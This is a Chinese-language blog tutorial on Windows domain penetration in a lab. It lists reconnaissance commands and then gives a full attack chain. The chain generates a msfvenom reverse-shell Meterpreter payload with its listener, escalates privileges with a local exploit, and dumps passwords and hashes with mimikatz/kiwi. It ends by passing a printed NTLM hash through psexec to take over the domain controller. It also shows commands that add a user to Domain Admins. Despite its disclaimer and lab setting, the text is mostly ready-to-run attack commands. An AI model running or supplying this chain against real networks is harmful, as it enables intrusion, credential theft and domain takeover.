本文最后更新于 2024-08-21,文章内容可能已经过时。

域渗透——信息搜集

前置环境搭建:

https://windeskyblog.love/archives/34f8a421-150c-4025-8521-f918d65396df

winServer2008 (域控主机)

winServer2003 (域内主机)

win7 (域内主机)

基本思路:

通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器(dc)、渗透整个内网。

如图假设拿到域内中的一台主机win7,可以使用ipconfig /all来查看域控主机的ip,一般是DNS,这里DNS服务器显示为192.168.91.153即为域控主机win2008的ip地址。得到ip地址后,可以先尝试下能否ping通或者扫描。

image-20240621121005761

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、域内常用命令

  1. 判断当前所在域

    ipconfig /all  # 查看网卡配置信息,本机IP段,所在域
    ping -a 192.168.112.100   # 通过IP反射查找域名
    net config workstation  # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
    
  2. 查看当前存在几个域。

    net view /domain 
    

    如果该命令无法正常执行,则需要启动域控服务器上的 Computer Browser服务。

    image-20240621142532278

  3. 查看域时间。

    net time /domain  
    

    image-20240621142611542

  4. 管理域用户的相关操作(需要管理员权限)。

    net user 用户名 密码 /add /domain    # 添加域用户
    net group "domain admins" 用户名 /add /domain  # 将该用户添加至管理员组中
    

二、本机信息

  1. 当前用户信息

    whoami /fqdn # 查看当前用户的 FQDN (可分辨名称)
    whoami /priv # 查看当前用户拥有的安全特权
    whoami /user #显示当前用户的信息以及安全标识符 (SID)。
    whoami /all #显示当前用户名、属于的组以及安全标识符(SID) 和当前用户访问令牌的特权
    

    域中常见的用户身份(用户组):

    • Domain Admins :域管理员,拥有对域内的其他成员完全控制的权限。
    • Domain Controllers :域控制器
    • Domain Users : 域用户
    • Domain Computers :域内机器
    • Domain Guests : 域内来宾用户组,低权限

    image-20240621151937630

    用户名的SID在域渗透中的作用很大。可以制作黄金票据和白银票据来进行权限维持。

  2. 用户列表信息

    net user 			# 查看本机用户
    net user /domain	# 查看域内用户
    

image-20240621152040913

其中,krbtgt对在域渗透信息搜集中的作用比较大,主要可以用来结合SID制作黄金白银票据。

三 、主机信息搜集

通过主机信息判断拿到权限的主机是普通计算器,还是服务器。我们可以通过主机的计算机名称、计算机上的文件和端口开放情况来进行判别。

  • 若主机上有 “C:\inetpub ”,说明其可能安装有 iis 服务,是一台 Web 服务器。

微软运行asp页面的服务器就叫iis服务

  • 通过开放的端口进行确认,使用命令 netstat 查看主机网络连接状态,若本机监听80、443端口,则可能为Web服务器;若监听53端口,则可能为DNS服务器。
  • 通过主机的计算机名称、计算机描述等信息,例如 dc.woniuxy.com,说明此计算机可能为该域的 DC。

四、进程列表信息

查看进程列表信息,我们可以知道机器上运行者什么程序软件,有无杀毒软件、安全防护软件、VPN、FTP等服务或软件。方便后续利用,如免杀木马制作、提权等。

  1. 使用系统命令 tasklist。

image-20240621153126445

五、系统信息

收集系统信息,如系统版本、补丁信息等。

  1. systeminfo

image-20240621153316889

  1. 使用 wmic 命令查看全部补丁信息。

    wmic qfe list full 
    

image-20240621153358649

六、域信息搜集

我们在域中一般收集域用户信息,域控制器信息,域用户登录日志信息,域内所有用户名、全名和备注等信息,域内工作组信息,域管理员账号信息,域内网段划分信息与域内组织单位信息等。
而我们进入一个域环境,刚开始大概率获取的是域内普通用户权限,所以在前期要收集的信息多以域控的地址、域用户或者系统等信息为主。我们可以使用Windows 系统自带的命令收集域基础信息,以下列举一些信息收集的方法。
  1. 查找当前域

    net view /domain  # 查看当前存在几个域 
    net view /domain:域名称 #查看当前域中的所有计算机
    

    image-20240621153457141

    image-20240621153900843

  2. 查找域控

    • 通过查看 logonserver 信息找到域控制器。

      set logonserver 或者 set log # 查看客户端登陆到哪台域控制器,简写为 set log
      

      image-20240621153953805

    • 通过查找 srv 记录,找到域控。

      SRV 记录是域名系统 (DNS) 资源记录。 它用于标识托管特定服务的计算机。 SRV 资源记录用于查找 Active Directory 的域控制器。 常用 nslookup 命令来进行查询,如下:

      nslookup -type=SRV _ldap._tcp.woniuxy.com  # 查找域控制器的轻型目录访问协议 (LDAP) SRV 记录
      

      image-20240621160220114

    • 使用 nltest 命令查询工作站与域控间的信任关系。

      nltest /dclist:woniuxy.com # 查找dc列表
      

    image-20240621160317592

  3. 查找域管理员

    在域中若能获取域管理员的权限则可以对域内的其他成员完全控制,不过首先我们找到域管理员用户。我们可以使用 “net group” 命令查找域中的域管理员组成员,如下:

    net group "domain admins"  /domain # 查找域中的域管理员组成员
    

    image-20240621160355443

  4. 尝试访问共享目录

    dir \\域控制器名 或者 IP\c$ 
    

image-20240621161002111

测试有没有拿下域控,就可以使用这个命令。这里是权限不足不能访问,拿下域控后,访问其他电脑的c$可以。

例如下:域控主机访问域内主机win7的共享目录c$

image-20240621163539429

七、主机发现

通过主机发现了解当前网络中设备的分布情况,查看内网有没有其他机器等,在域内进行横向渗透的时候也需要收集主机端口和ip信息。
  1. 查看路由表

    route print   # 打印当前Windows主机上的路由表
    

    image-20240621163747503

  2. 查看 ARP 缓存

    arp -a  # 查看当前设备上的 arp 缓存记录
    

    image-20240621165251288

    可以发现有win2003的主机ip为 192.168.91.140和win7的 192.168.91.153的域控主机win2008存在

  3. 使用 ping 探测

    #循环1-255,ping网段内的主机
    for /l %i in (1,1,255) do @ping 192.168.91.%i -w 1 -n 1|find /i "ttl="
    

image-20240621170526432

八、MSF框架搜集

前提:使用kali,拿下一台域内主机

使用nmap发现域内主机win7ip地址为192.168.91.133

kali 生成木马:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o yu5555.exe

木马上传到域内主机,kali启动msf监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 5555
run
 

域内主机启动木马,反弹shell上线。

image-20240621172124896

先exit退出shell,bg回到msf模块

  1. 收集域信息

    search domain
    

    image-20240621172511651

    一般使用post就行

  2. 尝试提权

    search suggester
    

    image-20240621172643503

  3. 搜集信息

    search windows/gather
    
    search linux/gather			#这里不演示,应为域是window
    
    use post/windows/gather/enum_domain   # 枚举域信息
    use post/windows/gather/enum_patches  #展示补丁信息
    use post/windows/gather/dumplinks # 查看用户最近打开文档
    
    # 只要带有post的 模块 都必须设置 session 
    

    image-20240621172719489

    image-20240621173054255

    image-20240621173143771

    image-20240621173217612

  4. 主机存活探测

    use auxiliary/scanner/discovery/arp_sweep ARP 	# 通过arp扫描
    use auxiliary/scanner/discovery/udp_sweep UDP 	# 通过udp扫描
    use auxiliary/scanner/netbios/nbname NETBIOS # 通过NetBIOS扫描
    use auxiliary/scanner/snmp/snmp_enum SNMP 		# 通过SNMP扫描
    
  5. image-20240621173650485

  6. 端口扫描

    use auxiliary/scanner/portscan/syn # 通过 SYN 进行端口扫描
    use auxiliary/scanner/portscan/tcp # 通过 TCP 进行端口扫描
    auxiliary/scanner/portscan/ack # 通过 ACK 进行端口扫描
    

    image-20240621174123199

  7. kiwi搜集(最重要的)

    sessions 1回到meterpreter模块

    执行如下命令:

load kiwi
creds_all
hashdump

输入kiwi命令可以调起msf框架自带的mimikatz工具。它可以从内存中提取明文密码、哈希值、PIN 码和 Kerberos 票据。Mimikatz 还可以执行传递哈希值、传递票据或建立黄金票据。

image-20240621174651092

这里显示没有system权限,查看getuid发现没有进行提权。说明使用mimikatz需要提权后再使用。

bg回到msf模块,搜索漏洞 search suggester

use 0
show options
set session 1
run

image-20240621180702745

可用模块:

*] Running check method for exploit 41 / 41
[*] 192.168.91.133 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_dotnet_profiler                Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/bypassuac_sdclt                          Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2019_1458_wizardopium                Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2020_1054_drawiconex_lpe             Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ikeext_service                           Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 8   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 10  exploit/windows/local/ms16_014_wmi_recv_notif                  Yes                      The target appears to be vulnerable.
 11  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 12  exploit/windows/local/tokenmagic                               Yes                      The target appears to be vulnerable.

使用第四个

use exploit/windows/local/cve_2019_1458_wizardopium 
set session 1
run

image-20240621181007569

提权成功,使用kiwi获取

load kiwi
creds_all
hashdump

image-20240621181245181

成功获取到用户名密码的hash值。

有机会获取管理员的密码 在windows2012 之后,铭文密码就显示不出来了 , 可以通过修改注册表 来显示

creds_all报错的原因:

MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。

在64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。

在32位系统下则没有这个限制。

creds_all报错的话使用如下命令获取:

kiwi_cmd sekurlsa::logonpasswords

image-dpiq.png

这里渗透的win7是64位系统(使用sysinfo可以查看)

使用 ps 命令查看进程,我们需要找一个 64 位的进程,并且用户是 NT AUTHORITY\SYSTEM ,因为迁移进程后,meterpreter的权限是迁移进程的权限。这里我们选择1188进程

image-pipy.png

执行进程迁移命令,将meterpreter进程迁移到1188进程:

migrate 1188

使用psexec模块上线域控:

use exploit/windows/smb/psexec
show options
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.91.153  # 域控的IP
set SMBUser administrator
set SMBDomain XIAOE
### [set SMBPass] [获取的LM值]:[获取的NTLM值]
set SMBPass 32801fe143b57a06ba12f405d7e7327b:ee74af708818ef0e006daab27a7b78b9
show options 
run

image-ylhv.png

可以看到成功上线域控的管理员账户shell

具体操作可以参考:

https://blog.csdn.net/weixin_45116657/article/details/103147716

查看模块的用法:help mimikatz
livessp:尝试检索livessp凭据
mimikatz_command:运行一个定制的命令
msv:msv凭证相关的模块,列出目标主机的用户密码哈希
ssp:ssp凭证相关的模块
tspkg:tspkg凭证相关的模块
wdigest:wdigest凭证相关的模块

九、cs框架搜集

利用CS中的插件 :梼杌插件、谢公子等

kali启动服务端,并开启客户端

cs生成木马,上传至域内主机,上线cs。

image-20240621181936651

image-20240621182036041

image-20240621182226396

等等,其他的就不演示了,都是傻瓜一键式操作,运行后操作台看信息就行。